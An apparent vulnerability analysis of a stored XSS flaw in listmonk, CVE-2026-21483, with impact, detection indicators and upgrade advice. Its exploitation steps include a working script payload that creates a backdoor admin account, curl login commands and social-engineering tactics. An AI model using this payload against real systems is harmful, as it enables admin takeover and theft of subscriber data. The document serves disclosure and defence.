CVE-2026-21483: 
NixOS vulnerability analysis and mitigation

CVE-2026-21483 is a Stored Cross-Site Scripting (XSS) vulnerability in listmonk, a self-hosted newsletter and mailing list manager, that allows lower-privileged users with campaign management permissions to inject malicious JavaScript into campaigns or templates, leading to admin account takeover. It affects all versions up to and including 5.1.0 (specifically versions ≥ 1.1.1 and < 6.0.0). The vulnerability was disclosed on January 2, 2026, with a fix released in version 6.0.0. It carries a CVSS v3.1 score of 5.4 (Medium) per the GitHub Advisory Database, though the vendor's own advisory rates it as High (CVSS 3.1: 8.0) (GitHub Advisory, Vendor Advisory).

The root cause is improper neutralization of user-controllable input in campaign bodies and templates before rendering them as web pages (CWE-79: Stored XSS). A lower-privileged user with permissions such as campaigns:manage, campaigns:get, lists:get_all, and templates:get can embed malicious JavaScript directly via raw HTML <script> tags or through Go template's Safe function (e.g., {{ \payload` | Safe }}), bypassing output encoding. The injected script executes in the Super Admin's browser context when they preview a campaign or visit a public archive link — the archive vector requires no preview interaction at all, as the XSS fires automatically on page load. A proof-of-concept payload using the Fetch API to create a backdoor admin account via /api/users` is publicly documented in the advisory (Vendor Advisory, GitHub Advisory).

Successful exploitation allows an attacker to perform any action available to a Super Admin in the victim's browser context, including creating backdoor administrator accounts, exporting all subscriber data, modifying SMTP settings, deleting campaigns, and accessing API keys and secrets. The privilege escalation from a low-privileged content manager role to full Super Admin access represents a complete integrity compromise of the listmonk instance. The public archive attack vector further expands the risk surface, as any authenticated Super Admin who visits a shared link — without any additional interaction — can be silently compromised (Vendor Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including specific payloads and step-by-step reproduction instructions. The EPSS score is approximately 0.038% (0.000380), indicating a low but non-zero probability of exploitation in the wild within 30 days. There is no current evidence of active in-the-wild exploitation or threat actor attribution. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid low-privileged account with campaign management permissions, limiting opportunistic mass exploitation (GitHub Advisory, Vendor Advisory).

1. Obtain low-privileged access: Acquire or compromise a listmonk account with the following permissions: campaigns:manage, campaigns:get, lists:get_all, and templates:get — typical for content manager roles.
2. Craft malicious campaign: Create a new campaign and insert a JavaScript payload in the campaign body using a raw <script> tag or Go template Safe function:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: 'backdoor@evil.com',
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

3. Choose attack vector:
   • Preview attack: Social-engineer the Super Admin into reviewing the campaign draft (e.g., "Please review my newsletter"). When the admin clicks Preview, the XSS fires.
   • Archive link attack: Enable the Archive feature on the campaign, copy the archive URL (http://<host>/archive/<campaign-uuid}), and share it with the Super Admin. XSS executes automatically on page visit — no preview click required.
4. XSS executes: When the Super Admin's browser loads the malicious content, the JavaScript runs in their authenticated session and silently POSTs a request to /api/users to create a backdoor admin account.
5. Log in as backdoor admin: Use the newly created credentials to authenticate:

curl -X POST "http://<host>/admin/login" -d "username=backdoor&password=Hacked123" -c cookies.txt -L
curl -b cookies.txt "http://<host>/api/users"

6. Achieve full control: With Super Admin access, perform further actions such as exporting subscriber lists, modifying SMTP configuration, or accessing API secrets (Vendor Advisory, GitHub Advisory).

• Logs: Unexpected POST requests to /api/users originating from an admin browser session (not from a known admin IP or automation tool); access log entries showing a Super Admin visiting /archive/<uuid> shortly before a new user account appears.
• Application Events: Creation of new user accounts (especially with userRoleId: 1) that were not provisioned through normal administrative workflows; new accounts with suspicious usernames (e.g., backdoor) or email domains.
• Network: Outbound fetch requests from the listmonk web UI to /api/users with credentials: include headers, particularly triggered from campaign preview or archive page loads.
• File System / Config: Unexpected changes to SMTP settings or API key configurations that do not correspond to known admin activity.
• User Activity: Logins from unfamiliar IP addresses using newly created admin accounts; admin session activity at unusual hours following a Super Admin's campaign preview or archive link visit (Vendor Advisory).

Upgrade listmonk to version 6.0.0 or later, which resolves the stored XSS vulnerability. The patched version is also available as commit 74dc5a0 for users tracking pre-release builds (>= 1.1.1-0.20251231125615-74dc5a01cfbb). Until patching is possible, restrict campaign management permissions to only fully trusted users, avoid previewing campaigns from untrusted contributors, and consider disabling the public archive feature if it is not operationally required. Monitor for unexpected admin account creation as a compensating control (Vendor Advisory, GitHub Advisory).

The vulnerability was covered in The Hacker News' weekly security recap for early January 2026, which highlighted it alongside other exploits and AI-related threats (The Hacker News). A technical write-up was published by Infinit Security detailing the stored XSS and admin account takeover chain (Infinit Security). No significant vendor statements beyond the GitHub Security Advisory or notable researcher controversy have been observed.